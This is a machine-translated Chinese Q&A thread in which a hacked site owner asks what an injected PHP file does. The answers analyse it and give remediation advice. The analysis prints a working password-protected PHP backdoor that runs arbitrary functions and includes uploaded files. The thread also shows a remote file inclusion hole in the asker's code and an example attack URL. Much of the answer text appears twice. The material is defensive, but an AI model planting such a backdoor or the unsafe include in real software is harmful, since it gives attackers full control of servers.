我被黑了,显然他们正在发送垃圾邮件.他们将两个文件注入我的服务器(在所有子目录中都重复).一个是大量散列的PHP文件,可能是发件人.下面的代码来自另一个文件.
这是我的问题 - 这是完成了什么?我无法翻译它的目的.另外,我该怎么做才能避免再次发生这种情况?
nl-x.. 15
在进一步检查之前,立即重命名文件(除了.php以外的其他内容),因此任何恶意用户都不能再使用它了.
然后调查他们如何能够在您的服务器上注入此内容.
在访问日志中,您将找到加载该特定PHP文件的页面加载.这将是你的第一个线索.例如,调查来自同一IP地址的其他连接,并查看他们访问/滥用的脚本.在某个地方你可能会发现你有一个过时/易受攻击的wordpress插件,joomla插件等.尽快更新或删除该插件,否则你很快就会被黑客入侵!
另外,在检查访问日志时,看看他们是否上传了新的后门!也许你看到一些脚本被不应该存在的同一个IP地址调用.删除/重命名它们!
代码的作用非常简单,但非常先进:它允许密码持有者执行您能够通过PHP执行的任何代码.高级位是难以检测的.它不使用base64,没有eval等.
编辑:
idealizm在评论中说:
我实际上并没有在这个域上使用Wordpress(或任何其他CMS) - 但我确实有一个index.php文件,它通过包含一个前缀为下划线的现有文件来处理各种页面的动态创建 - 所以index.php?go = about将包括("about.php").它检查文件是否存在,如果不存在,则仅包括默认文件.我希望这足够安全.这是他们可能利用我的代码的地方吗?`if($ _GET ['go'] ==''){$ go ='videos'; } else {$ go = $ _GET ['go']; } if(!(file_exists(''.$ go.'.php'))){$ go ='videos'; }
是的,可能有你的问题!你说包含的文件以下划线为前缀,但我没有在你的代码中看到...所以,如果黑客去了index.php?go=http://hackerssite.com/hackerscode
,你最终会包含http://hackerssite.com/hackerscode.php
代码,并允许破坏!
删除(并且永不允许)包含直接用户输入的代码.检查$_GET['go']
一系列允许的包含页面,或使用a switch
来调用include
.
在进一步检查之前,立即重命名文件(除了.php以外的其他内容),因此任何恶意用户都不能再使用它了.
然后调查他们如何能够在您的服务器上注入此内容.
在访问日志中,您将找到加载该特定PHP文件的页面加载.这将是你的第一个线索.例如,调查来自同一IP地址的其他连接,并查看他们访问/滥用的脚本.在某个地方你可能会发现你有一个过时/易受攻击的wordpress插件,joomla插件等.尽快更新或删除该插件,否则你很快就会被黑客入侵!
另外,在检查访问日志时,看看他们是否上传了新的后门!也许你看到一些脚本被不应该存在的同一个IP地址调用.删除/重命名它们!
代码的作用非常简单,但非常先进:它允许密码持有者执行您能够通过PHP执行的任何代码.高级位是难以检测的.它不使用base64,没有eval等.
编辑:
idealizm在评论中说:
我实际上并没有在这个域上使用Wordpress(或任何其他CMS) - 但我确实有一个index.php文件,它通过包含一个前缀为下划线的现有文件来处理各种页面的动态创建 - 所以index.php?go = about将包括("about.php").它检查文件是否存在,如果不存在,则仅包括默认文件.我希望这足够安全.这是他们可能利用我的代码的地方吗?`if($ _GET ['go'] ==''){$ go ='videos'; } else {$ go = $ _GET ['go']; } if(!(file_exists(''.$ go.'.php'))){$ go ='videos'; }
是的,可能有你的问题!你说包含的文件以下划线为前缀,但我没有在你的代码中看到...所以,如果黑客去了index.php?go=http://hackerssite.com/hackerscode
,你最终会包含http://hackerssite.com/hackerscode.php
代码,并允许破坏!
删除(并且永不允许)包含直接用户输入的代码.检查$_GET['go']
一系列允许的包含页面,或使用a switch
来调用include
.
这允许他们运行他们想要的任何功能,并允许他们上传文件并立即将其包含并解析为PHP ...它就像你可以获得的完全访问一样接近root
.这是完整的细分:
允许被攻击者确保他们是唯一一个能够发起攻击的人(一个简单的密码保护)
if(@md5($_POST['pass'])!=='692e3f52ee6f16bc78fa6e1ec4bd4a6a') die();
将所有POST变量作为自己的变量拉出,然后传入任何函数名称($a
)并调用它(传递POST变量$b
).- 这允许他们运行任何加载的函数(包括exec
系统允许的情况)
@extract($_POST);
if(!empty($a))
@$a($b);
允许攻击者上传文件(任何文件)并将其自动包含在PHP脚本中.
if(!empty($_FILES['tmp_name']))
@include($_FILES['tmp_name']);
此外,@
每个语句的前面都会出现错误,因此如果您正在审核错误,它将不会显示在错误日志中.